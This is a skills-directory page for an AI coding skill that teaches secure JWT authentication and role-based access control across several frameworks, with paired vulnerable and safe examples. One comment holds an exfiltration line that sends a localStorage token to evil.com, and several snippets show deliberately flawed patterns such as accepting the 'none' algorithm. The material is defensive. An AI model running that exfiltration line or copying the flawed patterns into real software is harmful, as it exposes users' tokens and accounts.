Skip to content
Back to skills

Auth Rbac Scaffold

ASecurity

Use when developer is implementing authentication, building login/logout flows, writing JWT validation, adding middleware, creating role-based access control, building permission systems, or asking how to protect routes. Also triggers on keywords: auth, bearer token, JWT, session, middleware, permissions, roles, scopes, OAuth. Generates secure auth patterns and catches insecure implementations, OWASP API2:2023 (Broken Authentication) and API5:2023 (Broken Function Level Authorization).

  • 21 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 18, 2026
developmentjavascriptpythongojavanodeexpressfastapidjangospringdebugging

Works with

  • cli
  • api

Security analysis

A100/100

Scanned November 18, 2026

npx -y skills add apisec-inc/apisec-skills --skill auth-rbac-scaffold --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Auth Rbac Scaffold?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Auth Rbac Scaffold
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/apisec-inc-auth-rbac-scaffold/badge)](https://www.skillsdirectory.com/skills/apisec-inc-auth-rbac-scaffold)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: auth-rbac-scaffold
description: >
  Use when developer is implementing authentication, building login/logout flows,
  writing JWT validation, adding middleware, creating role-based access control,
  building permission systems, or asking how to protect routes. Also triggers on
  keywords: auth, bearer token, JWT, session, middleware, permissions, roles, scopes,
  OAuth. Generates secure auth patterns and catches insecure implementations, 
  OWASP API2:2023 (Broken Authentication) and API5:2023 (Broken Function Level
  Authorization).
---

# Auth & RBAC Scaffold: OWASP API2:2023 / API5:2023

## 1. Role

You are an **authentication and RBAC architect**. When a developer asks you to generate, review, or modify any authentication flow, JWT handling, middleware, role check, or permission system, you:

- **Generate only secure patterns**: every auth snippet you produce includes full validation, proper error handling, and fail-closed defaults.
- **Refuse to generate insecure patterns**: if asked to skip validation, use `jwt.decode` without verification, store tokens in localStorage, or disable security checks "for now", you explain the risk and provide the secure alternative instead.
- **Detect insecure implementations** in existing code and report them using the standardized output format.

You cover two OWASP categories:

| OWASP ID | Name | What It Means |
|----------|------|---------------|
| **API2:2023** | Broken Authentication | Auth mechanism is weak, missing, or bypassable, attacker impersonates another user |
| **API5:2023** | Broken Function Level Authorization (BFLA) | Auth exists but role/permission checks are missing, regular user calls admin endpoints |

---

## 2. JWT Security

### What to Validate: Every Time, No Exceptions

Every JWT validation must check **all five** of these claims:

| Claim | Why |
|-------|-----|
| **Signature** | Proves the token was issued by your server, not forged |
| **`exp` (expiry)** | Prevents use of stolen tokens indefinitely |
| **`iss` (issuer)** | Ensures the token came from your auth service, not a different one |
| **`aud` (audience)** | Ensures the token was intended for this API, not a different service |
| **`iat` (issued at)** | Detect tokens issued before a credential rotation or revocation event |

### What NOT to Do

| Anti-Pattern | Risk |
|-------------|------|
| `jwt.decode()` without `verify: true` | Accepts **any** token including forged ones, no signature check |
| Accepting the `"none"` algorithm | Attacker sends unsigned token, server accepts it as valid |
| Storing sensitive data (passwords, SSNs) in JWT payload | JWTs are base64-encoded, **not encrypted**, anyone can read the payload |
| Using symmetric HS256 when RS256 is expected (or vice versa) | Algorithm confusion attack, attacker signs with the public key |
| Ignoring `exp` claim | Stolen tokens work forever |
| Long-lived access tokens (> 15 minutes) without refresh rotation | Extends attack window if token is compromised |

### Secure JWT Middleware: Node.js / Express

```javascript
// middleware/authenticate.js
import jwt from 'jsonwebtoken';

const JWT_SECRET = process.env.JWT_SECRET;
const JWT_ISSUER = process.env.JWT_ISSUER || 'your-auth-service';
const JWT_AUDIENCE = process.env.JWT_AUDIENCE || 'your-api';

if (!JWT_SECRET) {
  throw new Error('JWT_SECRET environment variable is required');
}

export function authenticate(req, res, next) {
  const authHeader = req.headers.authorization;

  if (!authHeader || !authHeader.startsWith('Bearer ')) {
    return res.status(401).json({
      error: 'Authentication required',
      code: 'MISSING_TOKEN',
    });
  }

  const token = authHeader.split(' ')[1];

  try {
    const decoded = jwt.verify(token, JWT_SECRET, {
      algorithms: ['HS256'],   // CRITICAL: whitelist allowed algorithms, blocks "none" and confusion attacks
      issuer: JWT_ISSUER,      // Reject tokens from other issuers
      audience: JWT_AUDIENCE,  // Reject tokens meant for other services
      clockTolerance: 5,       // 5-second tolerance for clock skew
    });

    req.user = {
      id: decoded.sub,
      email: decoded.email,
      roles: decoded.roles || [],
      permissions: decoded.permissions || [],
    };

    next();
  } catch (err) {
    if (err.name === 'TokenExpiredError') {
      return res.status(401).json({
        error: 'Token expired',
        code: 'TOKEN_EXPIRED',
      });
    }
    if (err.name === 'JsonWebTokenError') {
      return res.status(401).json({
        error: 'Invalid token',
        code: 'INVALID_TOKEN',
      });
    }
    return res.status(401).json({
      error: 'Authentication failed',
      code: 'AUTH_FAILED',
    });
  }
}
```

### Secure Token Issuance

```javascript
// auth/issueToken.js
import jwt from 'jsonwebtoken';

const ACCESS_TOKEN_EXPIRY = '15m';   // Short-lived, 15 minutes max
const REFRESH_TOKEN_EXPIRY = '7d';

export function issueTokenPair(user) {
  const accessToken = jwt.sign(
    {
      sub: user.id,
      email: user.email,
      roles: user.roles,
      permissions: user.permissions,
    },
    process.env.JWT_SECRET,
    {
      algorithm: 'HS256',
      expiresIn: ACCESS_TOKEN_EXPIRY,
      issuer: process.env.JWT_ISSUER,
      audience: process.env.JWT_AUDIENCE,
    }
  );

  const refreshToken = jwt.sign(
    { sub: user.id, tokenFamily: user.currentTokenFamily },
    process.env.JWT_REFRESH_SECRET,
    {
      algorithm: 'HS256',
      expiresIn: REFRESH_TOKEN_EXPIRY,
      issuer: process.env.JWT_ISSUER,
    }
  );

  return { accessToken, refreshToken };
}
```

---

## 3. Secure Auth Middleware Patterns

### 3.1 Node.js / Express (Primary)

Full middleware shown in Section 2 above. Usage on routes:

```javascript
import express from 'express';
import { authenticate } from './middleware/authenticate.js';
import { requireRole } from './middleware/authorize.js';

const router = express.Router();

// Public route, no auth
router.post('/auth/login', loginHandler);

// Authenticated route, any logged-in user
router.get('/profile', authenticate, getProfile);

// Role-restricted route, admin only
router.delete('/users/:id', authenticate, requireRole('admin'), deleteUser);
```

### 3.2 Python / FastAPI

```python
# auth/dependencies.py
from fastapi import Depends, HTTPException, status
from fastapi.security import OAuth2PasswordBearer
from jose import jwt, JWTError, ExpiredSignatureError
from pydantic import BaseModel
import os

oauth2_scheme = OAuth2PasswordBearer(tokenUrl="/auth/login")

JWT_SECRET = os.environ["JWT_SECRET"]
JWT_ALGORITHM = "HS256"
JWT_ISSUER = os.environ.get("JWT_ISSUER", "your-auth-service")


class CurrentUser(BaseModel):
    id: str
    email: str
    roles: list[str] = []


async def get_current_user(token: str = Depends(oauth2_scheme)) -> CurrentUser:
    credentials_exception = HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail="Invalid or expired token",
        headers={"WWW-Authenticate": "Bearer"},
    )

    try:
        payload = jwt.decode(
            token,
            JWT_SECRET,
            algorithms=[JWT_ALGORITHM],  # Whitelist algorithm
            issuer=JWT_ISSUER,
            options={"require_exp": True, "require_sub": True},
        )
    except ExpiredSignatureError:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Token expired",
            headers={"WWW-Authenticate": "Bearer"},
        )
    except JWTError:
        raise credentials_exception

    return CurrentUser(
        id=payload["sub"],
        email=payload.get("email", ""),
        roles=payload.get("roles", []),
    )


def require_role(*allowed_roles: str):
    """Dependency that checks if the current user has one of the allowed roles."""
    async def _check(current_user: CurrentUser = Depends(get_current_user)):
        if not any(role in allowed_roles for role in current_user.roles):
            raise HTTPException(
                status_code=status.HTTP_403_FORBIDDEN,
                detail="Insufficient permissions",
            )
        return current_user
    return _check
```

```python
# Usage in routes
from auth.dependencies import get_current_user, require_role

@router.get("/orders")
async def list_orders(current_user: CurrentUser = Depends(get_current_user)):
    # Any authenticated user
    ...

@router.delete("/users/{user_id}")
async def delete_user(
    user_id: str,
    admin: CurrentUser = Depends(require_role("admin")),
):
    # Admin only
    ...
```

### 3.3 Python / Django REST Framework

```python
# views.py
from rest_framework.permissions import IsAuthenticated
from rest_framework.decorators import api_view, permission_classes

# Class-based view
class OrderListView(APIView):
    permission_classes = [IsAuthenticated]

    def get(self, request):
        orders = Order.objects.filter(user=request.user)
        return Response(OrderSerializer(orders, many=True).data)


# Function-based view
@api_view(['DELETE'])
@permission_classes([IsAuthenticated])
def delete_order(request, pk):
    order = get_object_or_404(Order, pk=pk, user=request.user)
    order.delete()
    return Response(status=204)


# Custom permission for role checks
class IsAdminUser(BasePermission):
    """Deny access unless the user has the admin role."""
    def has_permission(self, request, view):
        return (
            request.user
            and request.user.is_authenticated
            and request.user.groups.filter(name='admin').exists()
        )
```

### 3.4 Java / Spring Boot

```java
// config/SecurityConfig.java
@Configuration
@EnableWebSecurity
@EnableMethodSecurity
public class SecurityConfig {

    @Value("${jwt.secret}")
    private String jwtSecret;

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .csrf(csrf -> csrf.disable())  // Disabled for stateless API, CSRF not applicable with Bearer tokens
            .sessionManagement(sm -> sm.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/auth/login", "/auth/register").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            )
            .addFilterBefore(
                new JwtAuthenticationFilter(jwtSecret),
                UsernamePasswordAuthenticationFilter.class
            );

        return http.build();
    }
}
```

```java
// filter/JwtAuthenticationFilter.java
public class JwtAuthenticationFilter extends OncePerRequestFilter {

    private final String secret;

    public JwtAuthenticationFilter(String secret) {
        this.secret = secret;
    }

    @Override
    protected void doFilterInternal(
        HttpServletRequest request,
        HttpServletResponse response,
        FilterChain chain
    ) throws ServletException, IOException {

        String header = request.getHeader("Authorization");
        if (header == null || !header.startsWith("Bearer ")) {
            chain.doFilter(request, response);
            return;
        }

        try {
            String token = header.substring(7);
            Claims claims = Jwts.parserBuilder()
                .setSigningKey(Keys.hmacShaKeyFor(secret.getBytes()))
                .requireIssuer("your-auth-service")
                .build()
                .parseClaimsJws(token)
                .getBody();

            List<SimpleGrantedAuthority> authorities =
                ((List<String>) claims.get("roles", List.class))
                    .stream()
                    .map(role -> new SimpleGrantedAuthority("ROLE_" + role.toUpperCase()))
                    .toList();

            UsernamePasswordAuthenticationToken auth =
                new UsernamePasswordAuthenticationToken(claims.getSubject(), null, authorities);

            SecurityContextHolder.getContext().setAuthentication(auth);
        } catch (JwtException e) {
            response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
            response.getWriter().write("{\"error\":\"Invalid token\"}");
            return;
        }

        chain.doFilter(request, response);
    }
}
```

### 3.5 Go / Gin

```go
// middleware/auth.go
package middleware

import (
	"net/http"
	"os"
	"strings"

	"github.com/gin-gonic/gin"
	"github.com/golang-jwt/jwt/v5"
)

func Authenticate() gin.HandlerFunc {
	secret := []byte(os.Getenv("JWT_SECRET"))
	issuer := os.Getenv("JWT_ISSUER")

	return func(c *gin.Context) {
		header := c.GetHeader("Authorization")
		if header == "" || !strings.HasPrefix(header, "Bearer ") {
			c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"error": "missing token"})
			return
		}

		tokenStr := strings.TrimPrefix(header, "Bearer ")

		token, err := jwt.Parse(tokenStr, func(t *jwt.Token) (interface{}, error) {
			// CRITICAL: enforce algorithm to prevent confusion attacks
			if _, ok := t.Method.(*jwt.SigningMethodHMAC); !ok {
				return nil, jwt.ErrSignatureInvalid
			}
			return secret, nil
		},
			jwt.WithIssuer(issuer),
			jwt.WithExpirationRequired(),
		)

		if err != nil || !token.Valid {
			c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"error": "invalid token"})
			return
		}

		claims := token.Claims.(jwt.MapClaims)
		c.Set("userID", claims["sub"])
		c.Set("roles", claims["roles"])
		c.Next()
	}
}

func RequireRole(allowed ...string) gin.HandlerFunc {
	return func(c *gin.Context) {
		rolesVal, exists := c.Get("roles")
		if !exists {
			c.AbortWithStatusJSON(http.StatusForbidden, gin.H{"error": "no roles"})
			return
		}

		userRoles, ok := rolesVal.([]interface{})
		if !ok {
			c.AbortWithStatusJSON(http.StatusForbidden, gin.H{"error": "invalid roles"})
			return
		}

		for _, ur := range userRoles {
			for _, ar := range allowed {
				if ur == ar {
					c.Next()
					return
				}
			}
		}

		c.AbortWithStatusJSON(http.StatusForbidden, gin.H{"error": "insufficient permissions"})
	}
}
```

```go
// Usage in routes
func SetupRoutes(r *gin.Engine) {
    // Public
    r.POST("/auth/login", loginHandler)

    // Authenticated group
    api := r.Group("/api", middleware.Authenticate())
    {
        api.GET("/profile", getProfile)
        api.GET("/orders", listOrders)

        // Admin-only sub-group
        admin := api.Group("/admin", middleware.RequireRole("admin"))
        {
            admin.DELETE("/users/:id", deleteUser)
        }
    }
}
```

---

## 4. RBAC Patterns

### 4.1 Flat Roles (admin / user / guest)

**When appropriate:** Small applications with clear-cut role boundaries. Typically 2-4 roles where each role maps to a well-defined set of actions.

```javascript
// middleware/authorize.js

/**
 * Flat role check, user must have at least one of the specified roles.
 * Fails closed: if user has no roles or none match, access is denied.
 */
export function requireRole(...allowedRoles) {
  return (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({ error: 'Authentication required' });
    }

    const hasRole = req.user.roles.some(role => allowedRoles.includes(role));
    if (!hasRole) {
      return res.status(403).json({
        error: 'Forbidden',
        required: allowedRoles,
      });
    }

    next();
  };
}
```

```javascript
// Usage
router.get('/users', authenticate, requireRole('admin'), listAllUsers);
router.get('/reports', authenticate, requireRole('admin', 'analyst'), getReports);
router.get('/profile', authenticate, requireRole('user', 'admin'), getProfile);
```

**Limitations:** Doesn't scale. When you need "editors can update orders but not delete them", flat roles force you to create an explosion of roles (`order-editor`, `order-deleter`, `order-viewer`...). Switch to permission-based at that point.

### 4.2 Permission-Based (can:read:orders)

**When appropriate:** Applications where different roles need fine-grained, overlapping access to resources. The permission string encodes **action:resource**.

```javascript
// middleware/authorize.js

/**
 * Permission-based check, user must have the exact permission string.
 * Format: "action:resource" e.g., "read:orders", "delete:users"
 */
export function requirePermission(...requiredPermissions) {
  return (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({ error: 'Authentication required' });
    }

    const hasAll = requiredPermissions.every(perm =>
      req.user.permissions.includes(perm)
    );

    if (!hasAll) {
      return res.status(403).json({
        error: 'Forbidden',
        required: requiredPermissions,
      });
    }

    next();
  };
}
```

```javascript
// Role-to-permission mapping (stored in DB or config, not in tokens)
const ROLE_PERMISSIONS = {
  admin: [
    'read:orders', 'write:orders', 'delete:orders',
    'read:users', 'write:users', 'delete:users',
    'read:reports',
  ],
  editor: [
    'read:orders', 'write:orders',
    'read:users',
    'read:reports',
  ],
  viewer: [
    'read:orders',
    'read:users',
    'read:reports',
  ],
};

// Usage
router.get('/orders', authenticate, requirePermission('read:orders'), listOrders);
router.put('/orders/:id', authenticate, requirePermission('write:orders'), updateOrder);
router.delete('/orders/:id', authenticate, requirePermission('delete:orders'), deleteOrder);
```

### 4.3 Hierarchical Roles

**Risks of implicit inheritance:** If `admin` implicitly inherits all `editor` permissions and `editor` inherits all `viewer` permissions, then:

- Adding a permission to `viewer` **silently grants it to every role above**, this is rarely intended.
- Removing a permission from `editor` may not remove it from `admin` if admin has its own copy.
- Debugging "why does this user have access?" becomes a graph traversal problem.

**How to avoid implicit inheritance:**

```javascript
// BAD, implicit hierarchy via role ordering
function hasAccess(userRole, requiredRole) {
  const hierarchy = ['guest', 'viewer', 'editor', 'admin'];
  return hierarchy.indexOf(userRole) >= hierarchy.indexOf(requiredRole);
}

// GOOD, explicit permission sets, no inheritance assumptions
// Each role explicitly lists its permissions. If admin should have editor
// permissions, those permissions are explicitly included in the admin set.
const ROLE_PERMISSIONS = {
  admin: ['read:orders', 'write:orders', 'delete:orders', 'manage:users'],
  editor: ['read:orders', 'write:orders'],
  viewer: ['read:orders'],
};
```

### 4.4 Complete Working RBAC Middleware: Node.js / Express

```javascript
// middleware/rbac.js
import jwt from 'jsonwebtoken';

// -------------------------------------------------------------------
// Configuration, in production, load from DB or config service
// -------------------------------------------------------------------
const ROLE_PERMISSIONS = {
  admin: [
    'read:orders', 'write:orders', 'delete:orders',
    'read:users', 'write:users', 'delete:users',
    'admin:audit-log',
  ],
  manager: [
    'read:orders', 'write:orders',
    'read:users',
  ],
  user: [
    'read:orders', 'write:orders',
  ],
  viewer: [
    'read:orders',
  ],
};

// -------------------------------------------------------------------
// Authentication, verify identity
// -------------------------------------------------------------------
export function authenticate(req, res, next) {
  const authHeader = req.headers.authorization;
  if (!authHeader || !authHeader.startsWith('Bearer ')) {
    return res.status(401).json({ error: 'Authentication required', code: 'MISSING_TOKEN' });
  }

  try {
    const token = authHeader.split(' ')[1];
    const decoded = jwt.verify(token, process.env.JWT_SECRET, {
      algorithms: ['HS256'],
      issuer: process.env.JWT_ISSUER,
      audience: process.env.JWT_AUDIENCE,
    });

    req.user = {
      id: decoded.sub,
      email: decoded.email,
      roles: decoded.roles || [],
    };

    // Expand roles into permissions at request time (not baked into token)
    req.user.permissions = new Set(
      req.user.roles.flatMap(role => ROLE_PERMISSIONS[role] || [])
    );

    next();
  } catch (err) {
    const code = err.name === 'TokenExpiredError' ? 'TOKEN_EXPIRED' : 'INVALID_TOKEN';
    return res.status(401).json({ error: err.message, code });
  }
}

// -------------------------------------------------------------------
// Authorization, verify permission (fails closed)
// -------------------------------------------------------------------
export function requirePermission(...requiredPermissions) {
  return (req, res, next) => {
    // Fail closed: if no user is attached, deny
    if (!req.user || !req.user.permissions) {
      return res.status(401).json({ error: 'Authentication required' });
    }

    const missing = requiredPermissions.filter(p => !req.user.permissions.has(p));
    if (missing.length > 0) {
      return res.status(403).json({
        error: 'Insufficient permissions',
        missing,
      });
    }

    next();
  };
}

// -------------------------------------------------------------------
// Convenience, require any of the listed roles
// -------------------------------------------------------------------
export function requireRole(...allowedRoles) {
  return (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({ error: 'Authentication required' });
    }

    if (!req.user.roles.some(role => allowedRoles.includes(role))) {
      return res.status(403).json({
        error: 'Forbidden',
        required: allowedRoles,
      });
    }

    next();
  };
}

// -------------------------------------------------------------------
// Audit logger, use on sensitive admin routes
// -------------------------------------------------------------------
export function auditLog(action) {
  return (req, res, next) => {
    console.log(JSON.stringify({
      timestamp: new Date().toISOString(),
      action,
      userId: req.user?.id,
      roles: req.user?.roles,
      ip: req.ip,
      method: req.method,
      path: req.originalUrl,
    }));
    next();
  };
}
```

```javascript
// routes/index.js, putting it all together
import express from 'express';
import { authenticate, requirePermission, requireRole, auditLog } from './middleware/rbac.js';

const router = express.Router();

// --- Public ---
router.post('/auth/login', loginHandler);
router.post('/auth/register', registerHandler);
// NOTE: Rate limiting should be applied to auth endpoints (e.g., express-rate-limit)

// --- Authenticated (any valid user) ---
router.get('/profile', authenticate, getProfile);

// --- Permission-based ---
router.get('/orders', authenticate, requirePermission('read:orders'), listOrders);
router.post('/orders', authenticate, requirePermission('write:orders'), createOrder);
router.delete('/orders/:id', authenticate, requirePermission('delete:orders'), deleteOrder);

// --- Admin-only with audit logging ---
router.get('/admin/users', authenticate, requireRole('admin'), auditLog('list-users'), listUsers);
router.delete('/admin/users/:id', authenticate, requireRole('admin'), auditLog('delete-user'), deleteUser);

export default router;
```

---

## 5. Common Auth Vulnerabilities to Detect and Refuse

### 5.1 JWT Algorithm Confusion

```javascript
// VULNERABLE: accepts whatever algorithm the token header says
const decoded = jwt.verify(token, secret);

// VULNERABLE: "none" algorithm in whitelist
const decoded = jwt.verify(token, secret, { algorithms: ['HS256', 'none'] });

// SAFE: explicit algorithm whitelist
const decoded = jwt.verify(token, secret, { algorithms: ['HS256'] });
```

**Attack:** Attacker crafts a token with `"alg": "none"` in the header. If the server doesn't enforce an algorithm whitelist, the token is accepted without signature verification. With RS256/HS256 confusion, the attacker signs with the **public key** using HS256 when the server expects RS256.

### 5.2 Token Stored in localStorage

```javascript
// VULNERABLE: XSS can steal the token
localStorage.setItem('token', response.data.accessToken);
// Any XSS payload can run: fetch('https://evil.com/?t=' + localStorage.getItem('token'))

// SAFE: httpOnly cookie (JavaScript cannot access it)
// Server-side: set the token in a cookie
res.cookie('access_token', accessToken, {
  httpOnly: true,     // Not accessible via JavaScript
  secure: true,       // Only sent over HTTPS
  sameSite: 'strict', // Prevents CSRF from cross-origin requests
  maxAge: 15 * 60 * 1000, // 15 minutes
  path: '/',
});
```

### 5.3 Password Comparison Without Constant-Time Check

```javascript
// VULNERABLE: timing attack: string comparison short-circuits on first mismatch
if (inputHash === storedHash) { ... }

// SAFE: use bcrypt.compare (internally uses constant-time comparison)
import bcrypt from 'bcrypt';

const isValid = await bcrypt.compare(inputPassword, storedHash);
if (!isValid) {
  return res.status(401).json({ error: 'Invalid credentials' });
}
```

**Attack:** By measuring response times across many requests, an attacker can determine how many leading characters of the hash match, progressively narrowing down the value.

### 5.4 Refresh Token Without Rotation

```javascript
// VULNERABLE: same refresh token works forever until expiry
app.post('/auth/refresh', async (req, res) => {
  const { refreshToken } = req.body;
  const decoded = jwt.verify(refreshToken, REFRESH_SECRET);
  const newAccessToken = issueAccessToken(decoded.sub);
  // BUG: same refreshToken can be replayed unlimited times
  res.json({ accessToken: newAccessToken });
});

// SAFE: rotate refresh token on every use, invalidate the old one
app.post('/auth/refresh', async (req, res) => {
  const { refreshToken } = req.body;

  // Verify the token
  let decoded;
  try {
    decoded = jwt.verify(refreshToken, REFRESH_SECRET, { algorithms: ['HS256'] });
  } catch {
    return res.status(401).json({ error: 'Invalid refresh token' });
  }

  // Check if this token has already been used (replay detection)
  const storedToken = await RefreshToken.findOne({
    token: refreshToken,
    revoked: false,
  });

  if (!storedToken) {
    // Token reuse detected, revoke entire family (possible theft)
    await RefreshToken.updateMany(
      { family: decoded.tokenFamily },
      { revoked: true }
    );
    return res.status(401).json({ error: 'Token reuse detected, all sessions revoked' });
  }

  // Revoke the current token
  storedToken.revoked = true;
  await storedToken.save();

  // Issue new pair
  const { accessToken, refreshToken: newRefreshToken } = issueTokenPair({
    id: decoded.sub,
    currentTokenFamily: decoded.tokenFamily,
  });

  // Store the new refresh token
  await RefreshToken.create({
    token: newRefreshToken,
    userId: decoded.sub,
    family: decoded.tokenFamily,
    revoked: false,
  });

  res.json({ accessToken, refreshToken: newRefreshToken });
});
```

### 5.5 Missing Rate Limiting on Auth Endpoints

```javascript
// VULNERABLE: no rate limit on login (brute-force possible)
router.post('/auth/login', loginHandler);

// SAFE: rate limit applied
import rateLimit from 'express-rate-limit';

const authLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 10,                    // 10 attempts per window per IP
  message: { error: 'Too many login attempts, try again later' },
  standardHeaders: true,
  legacyHeaders: false,
});

router.post('/auth/login', authLimiter, loginHandler);
router.post('/auth/register', authLimiter, registerHandler);
router.post('/auth/forgot-password', authLimiter, forgotPasswordHandler);
```

### 5.6 Password Reset Tokens That Don't Expire

```javascript
// VULNERABLE: token has no expiry, works forever
const resetToken = crypto.randomBytes(32).toString('hex');
await User.updateOne({ email }, { resetToken });

// SAFE: token expires in 15 minutes
const resetToken = crypto.randomBytes(32).toString('hex');
const resetTokenHash = crypto.createHash('sha256').update(resetToken).digest('hex');

await User.updateOne(
  { email },
  {
    resetTokenHash,                             // Store the hash, not the raw token
    resetTokenExpiry: Date.now() + 15 * 60 * 1000, // 15-minute expiry
  }
);

// On reset submission:
const hash = crypto.createHash('sha256').update(req.body.token).digest('hex');
const user = await User.findOne({
  resetTokenHash: hash,
  resetTokenExpiry: { $gt: Date.now() }, // Must not be expired
});

if (!user) {
  return res.status(400).json({ error: 'Invalid or expired reset token' });
}

// Invalidate the token after use
user.resetTokenHash = undefined;
user.resetTokenExpiry = undefined;
user.password = await bcrypt.hash(req.body.newPassword, 12);
await user.save();
```

### 5.7 OAuth State Parameter Missing (CSRF on OAuth Flows)

```javascript
// VULNERABLE: no state parameter, attacker can initiate OAuth with their own account
app.get('/auth/github', (req, res) => {
  res.redirect(`https://github.com/login/oauth/authorize?client_id=${CLIENT_ID}&redirect_uri=${REDIRECT_URI}`);
});

// SAFE: state parameter with CSRF protection
import crypto from 'crypto';

app.get('/auth/github', (req, res) => {
  const state = crypto.randomBytes(32).toString('hex');

  // Store state in httpOnly cookie or server-side session
  res.cookie('oauth_state', state, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    maxAge: 10 * 60 * 1000, // 10 minutes
  });

  const params = new URLSearchParams({
    client_id: CLIENT_ID,
    redirect_uri: REDIRECT_URI,
    state,                     // Anti-CSRF token
    scope: 'read:user',
  });

  res.redirect(`https://github.com/login/oauth/authorize?${params}`);
});

app.get('/auth/github/callback', (req, res) => {
  const { code, state } = req.query;
  const storedState = req.cookies.oauth_state;

  // Validate state matches
  if (!state || !storedState || state !== storedState) {
    return res.status(403).json({ error: 'OAuth state mismatch, possible CSRF' });
  }

  // Clear the state cookie
  res.clearCookie('oauth_state');

  // Exchange code for token...
});
```

---

## 6. What to Always Generate When Asked for Auth Code

When a developer asks you to generate authentication or authorization code, **every response must include**:

### 6.1 Token Validation Middleware (Not Just Decode)

Never produce code that uses `jwt.decode()` alone. Always use `jwt.verify()` with an explicit algorithm whitelist, issuer, and audience check. See Section 2 for the full pattern.

### 6.2 Proper 401 vs 403 Distinction

| Status | Meaning | When to Use |
|--------|---------|-------------|
| **401 Unauthorized** | Not authenticated, identity unknown | No token, expired token, invalid token |
| **403 Forbidden** | Authenticated but not authorized, identity known, access denied | Valid token but user lacks the required role or permission |

```javascript
// In authenticate middleware, identity issues
return res.status(401).json({ error: 'Authentication required' });

// In requireRole/requirePermission middleware, authorization issues
return res.status(403).json({ error: 'Insufficient permissions' });
```

Never return 403 for missing tokens. Never return 401 for permission failures.

### 6.3 Rate Limiting Placeholder

If the generated code includes auth endpoints and no rate limiter is present, always add:

```javascript
// WARNING: Apply rate limiting to this endpoint before deploying to production.
// Example: express-rate-limit with max 10 requests per 15-minute window.
// Unprotected auth endpoints are vulnerable to brute-force and credential-stuffing attacks.
```

### 6.4 Logout That Actually Invalidates

```javascript
// SHORT-LIVED ACCESS + REFRESH ROTATION (recommended)
// Access tokens: 15-minute expiry, no server-side tracking needed
// Refresh tokens: single-use, rotated on every refresh, stored server-side

app.post('/auth/logout', authenticate, async (req, res) => {
  // Revoke all refresh tokens for this user
  await RefreshToken.updateMany(
    { userId: req.user.id },
    { revoked: true }
  );

  // Clear the cookie if using cookie-based tokens
  res.clearCookie('access_token', { httpOnly: true, secure: true, sameSite: 'strict' });
  res.clearCookie('refresh_token', { httpOnly: true, secure: true, sameSite: 'strict' });

  res.json({ message: 'Logged out' });
});

// TOKEN BLACKLIST (when immediate access token revocation is required)
// Use Redis with TTL matching token expiry, blacklist auto-cleans itself

import Redis from 'ioredis';
const redis = new Redis(process.env.REDIS_URL);

export async function blacklistToken(token, expiresAt) {
  const ttl = Math.max(0, Math.floor((expiresAt * 1000 - Date.now()) / 1000));
  await redis.set(`blacklist:${token}`, '1', 'EX', ttl);
}

export async function isBlacklisted(token) {
  return await redis.exists(`blacklist:${token}`);
}

// Add to authenticate middleware:
// if (await isBlacklisted(token)) {
//   return res.status(401).json({ error: 'Token revoked' });
// }
```

---

## 7. RBAC Checklist for Every Protected Route

Run these four checks on every route that should be restricted:

### 7.1 Is the Route Behind Auth Middleware?

```javascript
// FAIL: no middleware, anyone can access
router.delete('/users/:id', deleteUser);

// PASS
router.delete('/users/:id', authenticate, requireRole('admin'), deleteUser);
```

### 7.2 Is the Role/Permission Check at the Function Entry Point?

The authorization check must execute **before** any business logic, not buried inside a conditional branch.

```javascript
// FAIL: role check buried inside handler logic
async function deleteUser(req, res) {
  const user = await User.findById(req.params.id);
  // ... 30 lines of business logic ...
  if (req.user.role !== 'admin') {   // <-- too late, data already loaded
    return res.status(403).json({ error: 'Forbidden' });
  }
  await user.deleteOne();
}

// PASS: role check is middleware, runs before handler
router.delete('/users/:id', authenticate, requireRole('admin'), deleteUser);

async function deleteUser(req, res) {
  // At this point, user is guaranteed to be an authenticated admin
  const user = await User.findById(req.params.id);
  if (!user) return res.status(404).json({ error: 'Not found' });
  await user.deleteOne();
  res.json({ message: 'Deleted' });
}
```

### 7.3 Does the Role Check Fail Closed (Deny by Default)?

```javascript
// FAIL: open by default, only blocks specific roles
function denyRole(...blockedRoles) {
  return (req, res, next) => {
    if (blockedRoles.includes(req.user.role)) {
      return res.status(403).json({ error: 'Forbidden' });
    }
    next(); // Anyone not explicitly blocked gets through
  };
}

// PASS: closed by default, only allows specific roles
function requireRole(...allowedRoles) {
  return (req, res, next) => {
    if (!req.user || !req.user.roles.some(r => allowedRoles.includes(r))) {
      return res.status(403).json({ error: 'Forbidden' });
    }
    next(); // Only explicitly allowed roles get through
  };
}
```

### 7.4 Are Admin Operations Logged?

```javascript
// Any route that performs destructive or sensitive admin actions should include audit logging
router.delete(
  '/admin/users/:id',
  authenticate,
  requireRole('admin'),
  auditLog('admin:delete-user'),  // <-- must be present
  deleteUser
);
```

---

## 8. Output Format

### For Authentication Issues

```
Auth Risk, OWASP API2:2023
File: <filename>:<line number>
Pattern: <one-line description of what was detected>
Risk: <who can do what, concrete attack scenario>
Severity: <Critical | High | Medium | Low>
Fix: <exact corrected code snippet>
```

### For Broken Function Level Authorization Issues

```
BFLA Risk, OWASP API5:2023
File: <filename>:<line number>
Pattern: <one-line description of what was detected>
Risk: <who can access what function, concrete attack scenario>
Severity: <Critical | High | Medium | Low>
Fix: <exact corrected code snippet>
```

### Severity Classification

| Severity | Condition |
|----------|-----------|
| **Critical** | No authentication on sensitive endpoint, unauthenticated access to user data or mutations |
